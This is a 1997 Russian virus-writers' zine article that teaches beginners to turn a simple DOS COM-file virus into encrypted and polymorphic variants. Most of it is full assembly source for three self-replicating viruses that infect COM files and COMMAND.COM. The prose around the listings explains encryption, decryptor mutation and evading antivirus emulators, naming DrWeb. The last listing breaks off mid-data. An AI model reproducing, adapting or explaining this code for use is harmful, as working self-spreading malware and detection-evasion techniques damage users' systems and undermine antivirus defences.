[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 3, Sep 1997 file 005
ОТ ПРОСТОГО К СЛОЖНОМУ
by RedArc
Разумеется, что эта статья у сложившихся вирмейкеров вызовет только
улыбку... Но для начинающих это точно должно быть интересным. И так, если вы
давно уже вышли из возраста написания вирусов класса KHIZHNJAK, можете смело
пропустить эту статью.
Рассмотрим, как из простейшего COM-вируса создается простейший
шифрованный вирус, а из него простейший полиморфный вирус. Разумеется, что
рассмотреть все алгоритмы шифровки (бегущая строка, поблоковое кодирование и
т.д.) и полиморфизма (алгоритмы, присущие всем уровням полиморфизма,
полиморфные генераторы и т.д.) в рамках одной статьи не представляется
возможным. По этому возьмем только наиболее простые примеры для общего
усвоения материала.
Так как подразумевается, что читатель уже владеет искусством вирмейкинга
хотя бы на уровне написания простых сирчей, то следующий CUT я оставлю без
комментариев, тем более, что их там и так с избытком. Это вирус, в
классификации Е. Касперского DIW.288, поражает COM-программы и COMMAND.COM,
найденный по PATH. Идентификатор зараженности - 4 байт от начала 90h (nop).
Никаких эффектов или деструкции не предусмотрено.
=== Cut ===
;----------------------------------------------------------------------------
; Вирус DIW_288
;----------------------------------------------------------------------------
; RedArc // TAVC
;----------------------------------------------------------------------------
CSEG segment
assume cs:CSEG,ds:CSEG,es:CSEG
ORG 100h
START:
jmp VIRUS ;Переход на тело вируса
nop ;Признак зараженности файла
VIRUS:
push es ;сохранить сегментные регистры
push ds
db 60h ;сохранить регистры общего назначения
call VIR_1 ;Определение смещения вируса в сегменте кода
Len_call equ $-VIRUS
VIR_1:
xchg si,di ;Переслать в DI значение 100h
pop si ;Достать адрес смещения вируса
sub si,Len_call ;Вычесть размер call VIR_1
push si ;Сохранить смещение вирусного кода
add si,BYTES_Ofs ;Добавить смещение начальных байт
movsw ;Переслать первые два байта
movsw ;Переслать вторые два байта
SET_DTA:
mov ah,1ah ;Установить DTA вируса
pop dx
push dx
mov di,dx
add dx,VIRLEN ;в конец вирусного кода
int 21h
mov dx,di
add dx,MASK_Ofs ;Переслать в DX адрес маски
FIND_FIRST:
cld ;Установить флаг направления
mov ah,4eh ;Поиск первого файла по маске
mov cx,20h ;Нормальный атрибут
INTERRUPT:
int 21h
jb Not_File ;Если файл не найден
mov ah,2fh
int 21h ;Получить адрес DTA вируса в ES:BX
call INFECTED ;Вызвать процедуру заражения
FIND_NEXT:
mov ah,4fh
jmp Short INTERRUPT ;Поиск следущего файла по шаблону
Not_File:
call command_com ;Поражение файла COMMAND.COM
mov ah,1ah
mov dx,80h
int 21h ;Восстановить DTA программы
db 61h ;Восстановить регистры общего назначения
pop ds ;Восстановить сегментные регистры
pop es
jmp si ;Отдать управление программе
INFECTED:
push bx
add bx,1ah
mov ax,[bx] ;Получить в ax длину программы
and ax,0f000h
cmp ax,0f000h ;Проверить на допустимый размер
jnz LEN_OK ;Если размер допустимый
pop bx
ret ;Иначе не обрабатываем файл
LEN_OK:
add bx,04h
xchg dx,bx ;В dx - адрес имени файла
mov ax,3d02h
int 21h ;Открыть файл для чтения/записи
xchg bx,ax ;В bx Handle
READ_BEG:
mov ah,3fh
mov cx,4
mov dx,di
add dx,BYTES_Ofs
push bx
push dx
int 21h ;Прочитать первые четыре байта
pop bx
mov ax,word ptr [bx]
mov cx,word ptr [bx+2]
pop bx
cmp ax,'MZ' ;Это EXE-файл?
jnz TESTED_IDENT ;Нет. Проверить на зараженность
LOC_1:
jmp CLOSE_FILE ;Да. Закрыть файл
TESTED_IDENT:
cmp ch,90h ;Уже инфицирован?
jnz WRITE_VIRUS ;Нет. Заразить
jmp Short LOC_1 ;Да. Закрыть файл
WRITE_VIRUS:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;Перейти в конец файла
mov ah,40h
mov cx,VIRLEN
mov dx,di
int 21h ;Записать тело вируса
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;перейти в начало файла
pop si
push si
mov ax,[si+1ah] ;В ax - длина программы без учета тела вируса
sub ax,3 ;Учесть три байта перехода на тело вируса
mov si,di
add si,BYTES_Ofs ;В si адрес начальных байт файла
mov byte ptr [si],0e9h ;Переслать код перехода
mov word ptr [si+1],ax ;Переслать длину перехода
mov byte ptr [si+3],90h ;Переслать идентификатор зараженности
mov ah,40h
xchg dx,si
mov cx,4
int 21h ;Записать новое начало файла
CLOSE_FILE:
pop ax
push bx
xchg bx,ax
add bx,18h
mov dx,[bx]
sub bx,2
mov cx,[bx]
pop bx
mov ax,5701h
int 21h ;Восстановить время и дату создания
mov ah,3eh
int 21h ;Закрыть файл
ret ;Выход из процедуры заражения
;-------------------------------------------------------------
command_com: ;Заражение файла command.com
push di
push ds ;сохранить регистры
mov si,2ch ;сегментный адрес среды для хранения ASCIIZ
mov ds,cs:[si]
mov si,0008 ;05 - длинный вызов диспетчера функций
add di, VIRLEN
add di,2ch ;сегментный адрес среды для хранения ASCIIZ
mov cx,0040h ;кусок из PSP
rep movsb ;переслать в конец программы
sub di,40h
pop ds ;установить di на начало куска
mov dx,di
mov ah,4eh
mov cx,20h
int 21h ;поиск первого файла
pop di
jb EXITER ;если не найден
mov ah,2fh
int 21h ;получить адрес DTA
mov bx,di
add bx,VIRLEN
add bx,0eh ;в bx - новый адрес DTA
call INFECTED ;офрмить как положено
EXITER:
ret
;-----------------------------------------------------
MASK_Ofs equ $-VIRUS
db '*.com',0h
BYTES_Ofs equ $-VIRUS ;Смещение начальных байт программы
int 20h
dw 9090h
VIRLEN EQU $-VIRUS ;Длина вирусного кода
CSEG ends
end START
=== Cut ===
Как из этого примитивного зверька сделать шифрованный вирус? Правильно,
нужно добавить в код вызовы шифратора и дешифратора (криптера и декриптера).
Каким же образом шифруется|дешифруется тело COM-вируса? Есть несколько
возможных путей:
* вирус шифруется самим вирмейкером, а к его началу дописывается
статический декриптор, который расшифровывает в памяти вирус. К найденной
жертве вирус приписывает без изменения и декриптор и шифрованную тушку, взятые
из из того файла, из которого был произведен запуск. Имя исполняемого файла
можно взять из DOS Enviroment.
* вирус имеет статический декриптор, при этом меняется шифр-код. Код
может генерироваться различными способами: случайное число, длина жертвы, дата
создания жертвы, текущее значение таймера... Декриптор может занимать как
постоянное место в файле (представлен в вирусе в одном виде), так и в двух
экземплярах (криптор и декриптор). В первом случае декриптор может вызываться
как подпрограмма из различных мест кода вируса.
┌────────────┐
│ │ Декриптор
├────────────┤
│ │ Код поиска жертвы
│ │───┐
├────────────┤ │
│ │<┐ │ Вторая часть криптера
│ │ │ │
├────────────┤ │ │
│ │─┘ │
│ │<──┘ Первая часть криптера
│ │
└────────────┘
Таким образом, при передачи управления на декриптор он дешифрует тело
вируса. Далее выполняется код поиска жертвы и изменение ее начальных байт,
выбор шифр-кода, ... Затем управление прердается на первую часть декриптора,
которая шифрует большую часть вируса и записывает ее в конец файла-жертвы.
После записи зашифрованная часть снова дешифруется и управление передается на
вторую часть криптера. Вторая часть криптера шифрует оставшуюся часть вируса
(в которой расположена первая часть криптера), дописывает ее в конец жертвы и
расшифровывает зашифрованный код вируса.
┌────────────┐<───┬─┐
│ │ ─┐ │ │ Точка входа
│ │ │ │ │
├────────────┤ │ │ │
│ │<─┘ │ │ Декриптор
│ │ ───┘ │
├────────────┤ │
│ │ │ Подготовка для внедрения вируса в жертву
│ │ │
├────────────┤ │
│ │<─────┘ Код внедрения вируса в жертву
│ │
├────────────┤
│ │ Зашифрованная часть вируса
│ │
└────────────┘
В данном случае декриптор представляет из себя процедуру, которая
вызывается из точки входа для дешифрации вируса. Затем, после поиска жертвы и
ее обработки управление передается на код подготовки для внедрения вируса в
тело жертвы, который вызывает последовательно декриптор для шифрации вируса,
код внедрения вируса в жертву, декриптор для дешифрации вируса.
Как видно из схем, во втором случае довольно большой кусок вируса
остается не зашифрованным, к тому же, для анализаторов кода остается
незакрытым и код внедрения вируса в жертву, что уже не есть хорошо.
Возможны и иные пути использования криптера и декриптера. Например,
использование буферного кодирования. Это когда декриптор организован в виде
одной процедуры и представлен в одном экземпляре в теле вируса (как во втором
случае), но для шифрации тела вируса используется буфер. При этом декриптору
должны передаваться сегмент:смещение начала блока для шифрации и длина блока.
┌─────────────┐
│ │ Точка входа
├─────────────┤
│ │ Декриптор
├─────────────┤
│ │
│ │ Зашифрованное тело вируса
│ │
└─────────────┘
┌─────────────┐
│ │
│ │ Буфер
│ │
└─────────────┘
Таким образом, в точке входа вызывается декриптор для дешифрации
зашифрованного тела вируса, затем управление передается на первую
расшифрованную команду, где выполняется поиск жертвы и ее подготовка к
внедрению вируса. Затем выделяется буфер в памяти, куда копируется основное
тело вируса и снова вызывается процедура декриптора, который шифрует буфер. В
жертву последовательно записываются: точка входа, декриптор, буфер.
В качестве примера шифрованного вируса приведу исходник вируса RedArc.based.
Основной прикол этого вируса был в том, что до версии 3.23 включительно
антивирус DrWeb не мог эмулить функцию изменения выделенной памяти и таким
образом пропускал вирусы семейства RedArc.based
Для "улучшения" дизассемблирования тушки в нее понапиханы различные
лишние коды, типа db 081h. Вирус имеет видеоэффект. Специальной деструкции не
предусмотренно. Извините за отсутствие комментариев - ну уж очень лениво было
их расставлять... да там и так все понятно.
=== Cut ===
;----------------------------------------------------------------------------
; Вирус RA_BASED
;----------------------------------------------------------------------------
; RedArc // TAVC
;----------------------------------------------------------------------------
Model Tiny
.code
.286
org 100h
start:
push cs
push offset Entry+1
retf
BEG_LEN equ $-start
Entry:
db 081h
pusha
push ds
push es
call En1
EN_LEN equ $-Entry
En1:
xchg ax,di
pop bp
sub bp,EN_LEN
mov ax,bp
push ds
add ax,En2
push ax
retf
db 0EAh
En2 equ $-Entry
mov bx,1100h
mov ah,4ah
int 21h
jnc ALLOCATED
Exit_Proc:
pop es
pop ds
popa
push cs
push si
retf
db 09ah
ALLOCATED:
mov ax,LBL
add ax,bp
mov cl,4
shr ax,cl
inc ax
push ds
pop bx
add ax,bx
push ax
pop es
LBL10:
mov si, bp
cld
xor cx,cx
add si, Crypt_Start
push si
LBL0:
push es
push ds
pop es
mov di,si
xor cx,cx
cld
mov bx,bp
add bx,L_LOOP_1
push bx
ret
db 00fh
L_LOOP_1 equ $-Entry
L_LOOP:
lodsw
ror ax,1
xchg ax,bx
inc cx
lodsw
jmp short L_LOOP1
db 09ah
L_LOOP1:
rol ax,1
xchg ah,al
inc cx
xchg bh,bl
stosw
inc cx
xchg ax,bx
stosw
inc cx
cmp cx, Crypt_LEN
jge LBL1
jmp short L_LOOP
db 03eh
LBL1:
pop es
ret
db 081h
Crypt_Start equ $-Entry
mov ah,1ah
mov dx,bp
add dx,Crypt_End
mov bx,dx
int 21h
push es
push cs
pop es
xor ax,ax
inc ah
xchg ax,di
mov si,bp
add si,Old_BEGIN
mov cx,BEG_LEN
rep movsb
pop es
cld
mov ah, 4eh
mov cx, 0ffffh
mov dx,bp
add dx,C_Mask
Interrupt:
int 21h
jb Not_Found
jmp Test_File
db 09ah
Not_Found:
call command_com
mov ah,1ah
mov dx,80h
int 21h
jmp Exit_Proc
db 080h
Test_File:
push bx
add bx,1ah
mov ax,[bx]
cmp ax,1000
jge a2
jmp short Find_Next
db 00fh
a2:
and ax,0f000h
cmp ax,0f000h
jnz Len_Tested
Find_Next:
pop bx
mov ah,4fh
jmp Short Interrupt
db 03eh
Len_Tested:
add bx,04h
xchg dx,bx
push dx
mov ax,4301h
xor cx,cx
int 21h
mov ax,3d02h
int 21h
xchg ax,bx
call LoadDateTime
mov ah,3fh
mov cx,BEG_LEN
mov dx,bp
add dx,Old_BEGIN
push dx
int 21h
pop si
cmp byte ptr ds:[si],0Eh
je Close_File
jmp short Uses_File
db 067h
Close_File:
call SaveDateTime
mov ah,3eh
int 21h
pop dx
mov si,dx
sub si,09h
lodsw
xchg ax,cx
mov ax,4301h
int 21h
jmp Find_Next
db 080h
Uses_File:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push ax
mov si,bp
xor di,di
mov cx, Crypt_End / 2
rep movsw
pusha
push es
pop ds
mov si, Crypt_Start
call LBL0
popa
mov ah,40h
mov cx,Crypt_End
xor dx,dx
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
pop ax
pop si
push si
mov di,bp
inc ah
add di,New1
inc di
inc ax
mov [di],ax
mov ah,40h
mov dx,bp
add dx,New_BEGIN
mov cx,BEG_LEN
int 21h
jmp Close_File
;-------------------------
C_MASK equ $-Entry
db '*.com',0h
db 00fh
New_BEGIN equ $-Entry
push cs
LI:
New1 equ $-Entry
push offset Entry
retf
db 03eh
Old_BEGIN equ $-Entry
db 0c3h
db BEG_LEN-1 dup (90h)
;---------------------
db 0eah
command_com:
pusha
push ds
push es
mov es,word ptr ds:[2ch]
inc ch
xor di,di
mov al,'='
next_byte:
repne scasb
xchg dx,di
push ds
push es
mov word ptr ds:[bp+Save_Next+4],ds
mov word ptr ds:[bp+Save_Next+2],dx
pop ds
mov ax,4300h
int 21h
push cx
mov ax,4301h
xor cx,cx
int 21h
mov ax,3d02h
int 21h
xchg ax,bx
pop cx
pop ds
mov word ptr ds:[bp+Save_Next],cx
call LoadDateTime
pop es
push es
mov ah,3fh
mov cx,BEG_LEN
mov dx,bp
add dx,Old_BEGIN
push dx
int 21h
pop si
cmp byte ptr ds:[si],0Eh
je Close_File1
jmp short Uses_File1
Close_File1:
call SaveDateTime
mov ah,3eh
int 21h
mov si,bp
add si,Save_Next
lodsw
xchg ax,cx
lodsw
xchg ax,dx
lodsw
push ax
pop ds
mov ax,4301h
int 21h
pop es
pop ds
popa
ret
Uses_File1:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
sub ax,Crypt_End
push ax
xchg ax,dx
mov ax,4200h
xor cx,cx
int 21h
mov si,bp
xor di,di
mov cx, Crypt_End / 2
rep movsw
pusha
push es
pop ds
mov si, Crypt_Start
call LBL0
popa
mov ah,40h
mov cx,Crypt_End
xor dx,dx
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
pop ax
pop si
push si
mov di,bp
inc ah
add di,New1
inc ax
inc di
mov [di],ax
mov ah,40h
mov dx,bp
add dx,New_BEGIN
mov cx,BEG_LEN
int 21h
jmp Close_File1
LoadDateTime:
mov ax,5700h
int 21h
push es
push ds
pop es
mov di,bp
add di,Save_DXCX
xchg ax,dx
stosw
xchg ax,cx
stosw
pop es
ret
SaveDateTime:
mov si,bp
add si,Save_DXCX
lodsw
xchg ax,dx
lodsw
xchg ax,cx
mov ax,5701h
int 21h
ret
move_up:
mov ah,01h
mov ch,45
mov cl,45
int 10h
mov bx,0025
loop2:
mov cx,0000
loop1:
mov dx,3d4h
mov al,8
out dx,al
inc dx
mov al,cl
out dx,al
mov ax,1
call waitForSomeTicksInAx
m234:
inc cx
cmp cl,15
je l
jmp loop1
l:
mov ax,0601h
mov bh,07
mov cx,0000
mov dx,184fh
int 10h
dec bx
cmp bl,00
jne loop2
mov dx,3d4h
mov al,8
out dx,al
inc dx
mov al,00
out dx,al
mov ah,01h
mov ch,11
mov cl,12
int 10h
mov ah,02h
xor bx,bx
xor dx,dx
inc dh
inc dl
int 10h
mov ah,09h
mov dx,bp
add dx,AnyMessage
int 21h
ret
AnyMessage equ $-Entry
db ' Звон гитары надорвался',0ah,0dh
db ' И затих, замолк навечно.',0ah,0dh
db ' Смех тревогою раздался,',0ah,0dh
db ' Словно все бесчеловечно!',0ah,0dh
db 0ah,0dh,
db 'Вирус DemoFraud by RedArc // [TAVC]',0ah,0dh,0ah,0dh
db 'SGWW, DVC, FotD, SOS group, TAVC, CiD',0ah,0dh,'$'
waitForSomeTicksInAx:
; В ax - задеpжка в тиках. 1 тик - пpимеpно 1/18 с
push ds
push ax
mov ax,40h
mov ds,ax
pop ax
push ax
add ax,word ptr ds:[6Ch]
waitFor:
cmp ax,word ptr ds:[6Ch]
jne waitFor
pop ax
pop ds
ret
Effect:
mov ah,2ch
int 21h
cmp ch,13h
jl lock_exit
cmp cl,13h
jl lock_exit
push ds
xor ax,ax
mov ax,ds
mov byte ptr ds:[417h],70h
mov ah,01h
int 16h
pop ds
pusha
call move_up
popa
lock_exit:
ret
SAVE_DXCX equ $-Entry
dw ?
dw ?
Save_Next equ $-Entry
dw ?
dw ?
dw ?
Crypt_End equ $-Entry
Crypt_LEN equ $-LBL1
DTA db 80h dup (?)
LBL equ $-Entry
end start
=== Cut ===
Это все конечно хорошо, но статический декриптор сам является сигнатурой.
Шифрация тела вируса является лишь некоторым усложнением алгоритма лечения ну
и не дает антивирусам статической маски "подозрительных" участков. Для
антивирусов, снабженных хреновенькими эмуляторами шифрованные вирусы не
представляют особых трудностей для того, чтобы сказать "type Crypt.COM.Virus".
Правда для борьбы с эмуляторами существуют различные антиэвристические приемы,
но и они действенны только до тех пор, пока вирус не попал в руки
антивирмейкера... В общем случае, антивирусу достаточно отлавливать маску
декриптора и дешифровывать тело вируса несмотря ни на какие антиэвристические
и антиотладочные приемы.
Бороться с этим можно только одним способом - не оставлять статической
сигнатуры, тогда антивирусу придется проэмулировать расшифровщик, чтобы
добраться до статических участков кода. Здесь возможны варианты.
* В теле можно иметь несколько декрипторов, которые выбираются рандомно и
подставляются при внедрении в новую жертву
* В декрипторе всегда полно команд, которые имеют зеркальные синонимы.
Достаточно некоторые из них заменять на синонимы и статических кусков кода как
небывало.
* Практически всегда есть возможность заменять инструкции на набор
других, выполняющих аналогичные действия (например, заменить команду mov
ax,0ffffh на несколько однотипных: mov ax,0eeeeh / inc ax / add ax,01234h /
dec ax / ......) Но при этом возникают различные трудности при
непосредственной адресации, что не всегда решается однозначно.
Вирусы, имеющие несколько вариантов декриптора, называются полиморфными.
Конечно, эмуляторы их дешифруют, но гемороя имеют гораздо больше, чем при
просто шифрованных вирусах. Если в код декриптора вставлять еще и различные
антиотладочные и антиэвристические приемы, то гемороя всегда будет больше.
Участки кода, меняющие свои маски во времени называются динамическими.
Для примера приведу исходник вируса RedArc.1399, организующий первый тип
полиморфизма: замена участков кода декриптора на готовые участки из
зашифрованного тела. Вот структура вируса:
┌───────────────┐ Переход на пятно вируса, динамически меняется
├───────────────┤
│ │
│ │ Код программы-жертвы
│ │
│ │
│ │
├───────────────┤
│ │ Пятно вируса, динамически меняется
├───────────────┤
│ │ Продолжение кода программы-жертвы
├───────────────┤
│ │ Препроцессор к декриптору, динамически меняется
├───────────────┤
│ │ Декриптор, динамически меняется
├───────────────┤
│ │ Препроцессор к декриптору, статический код
├───────────────┤
│ │ Декриптор, статический код
├───────────────┤
│ │ Зашифрованное тело вируса
│ │
└───────────────┘
Имеем 4 динамически изменяемых участка кода, каждый из которых выбирается
из 8 возможных. В зашифрованную часть кода также входят и статический
декриптор со своим препроцессором, которые производят окончательную
расшифровку тушки. В принципе можно было бы не хранить динамические участки в
виде бесполезно валяющихся данных, а использовать их все одновременно в работе
для расшифровки друг друга с постоянным изменением их взаимного
местоположения, но этот геморой я краснознаменно предоставляю своим
читателям, как впрочем и рандомное количество пятен и рандомное их
взаимоположение и вставку антиэвристики и антиотладки... ;) Короче - процесс
познания бесконечен, пространство для творчества безгранично.
Комментариев в исходнике достаточно, особенно если учитывать описание,
представленное выше. Хочу лишь сказать, что в боевое состояние первую копию
нужно приводить либо вручную (с помощью отладчика), либо специальной
программой. Ну это все на любителя...
Говорят, что с вероятностью 1/8 вирус делает corrupted за счет того, что
последнии Poly_swith засраны мусором, но так даже прикольнее... ;-)
=== Cut ===
;----------------------------------------------------------------------------
; Вирус RA_1399
;----------------------------------------------------------------------------
; RedArc // TAVC
;----------------------------------------------------------------------------
Model Tiny
.code
jumps
.286
EntryPoint equ offset Entry - offset Start
CryptKey equ 0FFh
OffsTwoEntryPoint equ VirLen + 1024 + _E_H_Length
OffsNewEntryPoint equ 1024 + _E_H_Length
org 100h
Start:
;Первая точка входа вируса
add si,EntryPoint
push si
push cs
push si
retf
Len_First equ $-Start
;Первая часть программы-носителя
db 0ffh dup (90h)
Entry:
;Вторая точка входа вируса, за 1024 кБ от конца программы
pop ax
push ax
add ax,Decrypter
push cs
push ax
retf
db 080h
db 0adh ;Признак инфицированности программы вирусом
_E_H_Length equ $-Entry
;Последний килобайт программы-носителя
db 1022 dup (90h)
int 20h
DeCrypter equ $-Entry
;Препроцессор к декриптору
Preprocessor:
nop
pop si
mov bp,si
nop
push cs
cli
add si,CryptStart
sti
mov di,si
push di
xor cx,cx
cld
nop
PrepLength equ $-Preprocessor
MutationCrypt equ $-Entry
;Собственно основной динамический декриптор
LoopDecrypt:
lodsw
ror ax,CryptKey
nop
xchg ax,bx
lodsw
rol ax,CryptKey
nop
xchg ah,al
inc cx
xchg bh,bl
nop
inc cx
stosw
inc cx
xchg ax,bx
nop
inc cx
stosw
MutationCryptLength equ $-LoopDecrypt
cmp cx,CryptLen
jge DecryptDone
jmp short LoopDecrypt
DecryptDone:
retf
;Шифрованная часть вируса
CryptStart equ $-Entry
Crypt:
;Препроцессор к статическому декриптору
cld
mov cx,StaticLen / 2
mov si,bp
add si,StaticCryptStart
mov di,si
mov ax,bp
push cs
add ax,Virus_Clear
push ax
;Статический декриптор
StaticLoop:
lodsw
xor ax,cx
stosw
loop StaticLoop
retf
StaticPrepare equ $-Crypt
StaticCryptStart equ $-Entry
;Основное тело вируса
Virus_Clear equ $-Entry
VIRUS:
;Восстановление начальных байт в первой и второй точках входа вируса
mov si,bp
push si
add si,OldEntryOffset
mov cx,_E_H_Length
pop di
push di
rep movsb
pop si
add si,OldHeadOffset
mov cx,7
xor ax,ax
inc ah
xchg ax,di
rep movsw
;Получение памяти из свободного пространства
xor ax,ax
xchg ax,di
mov bx,1100h
mov ah,4ah
int 21h
jnc ALLOCATED
;Передача управления программе
Exit_Proc:
xor ax,ax
xor bx,bx
mov cx,0ffh
mov dx,cs
mov si,100h
mov di,0fffeh
push cs
pop ds
push cs
pop es
jmp si
ALLOCATED:
;Получение сегмента выделенной памяти в ES
mov ax,LBL
add ax,bp
mov cl,4
shr ax,cl
inc ax
push ds
pop bx
add ax,bx
push ax
pop es
;Установление DTA вируса
mov ah,1ah
mov dx,bp
add dx,CryptEnd
mov bx,dx
int 21h
;Поиск первого файла по маске
cld
mov ah, 4eh
mov cx, 0ffffh
mov dx,bp
add dx,C_Mask
Interrupt:
int 21h
jb Not_Found
jmp Test_File
;Если файлов больше не найдено
Not_Found:
mov ah,1ah
mov dx,80h
int 21h
jmp Exit_Proc
;Проверяем длину файла на минимальный размер
Test_File:
push bx
mov si,bx
add bx,1ah
mov ax,[bx]
cmp ax,4000
mov di,ax
jge a2
jmp short Find_Next
a2:
;Проверяем длину файла на максимальный размер
and ax,0f000h
cmp ax,0f000h
jnz Len_Tested
;Поиск следующего файла по маске
Find_Next:
pop bx
mov ah,4fh
jmp Short Interrupt
;Очищаем атрибуты файла
Len_Tested:
add bx,04h
xchg dx,bx
push dx
mov ax,4301h
xor cx,cx
int 21h
;Открываем файл для чтения/записи
Open_File:
mov ax,3d02h
int 21h
xchg ax,bx
;Запоминаем дату и время последней модификации файла
call LoadDateTime
;Считываем из файла первую часть данных
mov ah,3fh
mov cx,14
mov dx,bp
add dx,OldHeadOffset
int 21h
;Смещаемся на вторую точку входа в файл
mov ax,4200h
mov dx,di
sub dx,OffsTwoEntryPoint
xor cx,cx
int 21h
call Subr1
;Проверяем признак наличия вируса в найденном файле
mov di,bp
add di,OldEntryOffset+_E_H_Length-1
mov al,byte ptr ds:[di]
cmp al,0adh
jz CloseFile
jmp short Infected
;Закрываем файл и переходим к поиску следующего
Close_File equ $-Entry
CloseFile:
call SaveDateTime
mov ah,3eh
int 21h
xor ax,ax
add si,15h
lodsb
xchg ax,cx
pop dx
mov ax,4301h
int 21h
jmp Find_Next
;Выбираем место для установки второй точки и запоминаем ее в своем теле
Infected:
call Subr2
xchg ax,di
mov ax,4200h
mov dx,di
sub dx,OffsNewEntryPoint
xor cx,cx
int 21h
call Subr1
call Subr2
push ax
push es
push ds
pop es
;Выбор препроцессора случайным образом из 8 возможных
Ran1:
jmp short $+2
call RandomDX
mov byte ptr ds:[bp+CurrentPrep],dl
xchg ax,dx
mov si,bp
mov cx,2
mov di,si
xchg ah,ch
add di,OffsetPrep
mul cl
add di,ax
add si,word ptr ds:[di]
mov di,bp
add di,DeCrypter
mov cx,PrepLength
rep movsb
;Выбор декриптора случайным образом из 8 возможных
Ran2:
jmp short $+2
call RandomDX
mov byte ptr ds:[bp+CurrentMtE],dl
xchg ax,dx
mov si,bp
mov cx,2
mov di,si
xchg ah,ch
add di,OffsetMtE
mul cl
add di,ax
add si,word ptr ds:[di]
mov di,bp
add di,MutationCrypt
mov cx,MutationCryptLength
rep movsb
pop es
;Пересылка скалькулированной тушки вируса в буфер
MoveToBuff:
mov si,bp
add si,DeCrypter
xor di,di
mov cx, VirLen / 2
rep movsw
;Шифрация части тела статическим алгоритмом
StaticCryptBuff:
push ds
push es
pop ds
push cs
cld
mov cx,StaticLen / 2
mov si,StaticCryptStart-DeCrypter
mov di,si
call StaticLoop
;Шифрация тела вируса алгоритмом мутаций
MutationCryptBuff:
mov si,CryptStart-DeCrypter
push bx
mov di,si
push cs
xor cx,cx
call LoopDecrypt
;Запись зашифрованной тушки в файл
WriteBuffToFile:
mov ah, 40h
pop bx
xor dx,dx
mov cx,VirLen
int 21h
pop ds
mov word ptr cs:[bp+Save_ES],es
push cs
pop es
;Калькуляция и запись точки Entry в программу
mov ax,4200h
pop dx
xor cx,cx
push dx
sub dx,OffsNewEntryPoint
int 21h
Ran3:
jmp short $+2
call RandomDX
mov byte ptr ds:[bp+CurrentEntry],dl
xchg ax,dx
mov si,bp
mov cx,2
mov di,si
xchg ah,ch
add di,OffsetEntry
mul cl
add di,ax
add si,word ptr ds:[di]
mov di,bp
add di,OldEntryOffset
push di
mov cx,_E_H_Length
push cx
rep movsb
pop cx
mov ah,40h
pop dx
int 21h
;Калькуляция и запись первой точки входа
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
Ran4:
jmp short $+2
call RandomDX
mov byte ptr ds:[bp+CurrentHead],dl
xchg ax,dx
mov si,bp
mov cx,2
mov di,si
xchg ah,ch
add di,OffsetHead
push ax
mul cl
add di,ax
add si,word ptr ds:[di]
mov di,bp
add di,OldHeadOffset
push di
mov cx,14
pop dx
rep movsb
pop ax
pop cx
mov di,bp
add di,ax
sub cx,OffsNewEntryPoint
add di,OffsetOne
xor dx,dx
mov dl,byte ptr ds:[di]
mov di,bp
add di,OldHeadOffset
push di
add di,dx
mov word ptr ds:[di],cx
pop dx
mov ah,40h
mov cx,14
int 21h
mov ax,word ptr cs:[bp+Save_ES]
mov es,ax
mov ax,Close_File
push cs
add ax,bp
push ax
retf
;*******************************************************************
;Данные вируса
C_Mask equ $-Entry
db '*.com',0h
;Данные для мутаций блока START
_1_Head equ $-Entry
_1_H:
add si,EntryPoint
push si
push cs
push si
retf
_1_Length equ $-_1_H
Subr1:
mov ah,3fh
mov cx,_E_H_Length
mov dx,bp
add dx,OldEntryOffset
int 21h
ret
_2_Head equ $-Entry
_2_H:
xchg si,di
add di,EntryPoint
push di
push ds
push di
retf
_2_Length equ $-_2_H
Subr2:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
ret
_3_Head equ $-Entry
_3_H:
mov bx,EntryPoint
add bx,si
push bx
push es
push bx
retf
_3_Length equ $-_3_H
LoadDateTime:
push di
push dx
push cx
mov ax,5700h
int 21h
push es
push ds
pop es
mov di,bp
add di,Save_DXCX
xchg ax,dx
stosw
xchg ax,cx
stosw
pop es
pop cx
pop dx
pop di
ret
_4_Head equ $-Entry
_4_H:
mov ax,EntryPoint
inc ah
push ax
push cs
push ax
retf
_4_Length equ $-_4_H
SaveDateTime:
push si
push cx
push dx
mov si,bp
add si,Save_DXCX
lodsw
xchg ax,dx
lodsw
xchg ax,cx
mov ax,5701h
int 21h
pop dx
pop cx
pop si
ret
_5_Head equ $-Entry
_5_H:
mov cx,EntryPoint
inc ch
push cx
push ds
push cx
retf
_5_Length equ $-_5_H
RandomDX:
push ds
push ax
push bx
xor dx,dx
mov ds,dx
mov ax,ds:[46ch]
mov bx,8
div bx
pop bx
pop ax
pop ds
jmp short $+2
inc dx
cmp dl,8
jg RandomDX
cmp dl,1
jl RandomDX
ret
_6_Head equ $-Entry
_6_H:
mov bx,EntryPoint
inc bh
push bx
push es
push bx
retf
_6_Length equ $-_6_H
_7_Head equ $-Entry
_7_H:
mov dx,EntryPoint
inc dh
push dx
push cs
push dx
retf
_7_Length equ $-_7_H
_8_Head equ $-Entry
_8_H:
add si,EntryPoint
push si
jmp si
_8_Length equ $-_8_H
OffsetOne equ $-Entry ;Смещения места, содержащего точку входа
db 0, 2, 4, 1, 1, 1, 1, 1, 2
OffsetHead equ $-Entry ;Смещение начала блоков-голов
dw 0, _1_Head, _2_Head, _3_Head, _4_Head, _5_Head, _6_Head, _7_Head, _8_Head
LengthHead equ $-Entry ;Длины блоков-голов
db 0, _1_Length, _2_Length, _3_Length, _4_Length, _5_Length, _6_Length, _7_Length, _8_Length
CurrentHead equ $-Entry ;Номер текущей активной головы
db 1
OldHeadOffset equ $-Entry ;Старое начало программы-носителя
db 14 dup (90h)
;Данные для мутации блока Entry
_E_H_1 equ $-Entry
pop ax
push ax
add ax,Decrypter
push cs
push ax
retf
db 080h
db 0adh
_E_H_2 equ $-Entry
pop bx
push bx
add bx,Decrypter
push ds
push bx
retf
db 0adh
db 0adh
_E_H_3 equ $-Entry
pop cx
push cx
add cx,Decrypter
push es
push cx
retf
db 0adh
db 0adh
_E_H_4 equ $-Entry
pop dx
push dx
add dx,Decrypter
push cs
push dx
retf
db 0adh
db 0adh
_E_H_5 equ $-Entry
pop si
push si
add si,Decrypter
push ds
push si
retf
db 0adh
db 0adh
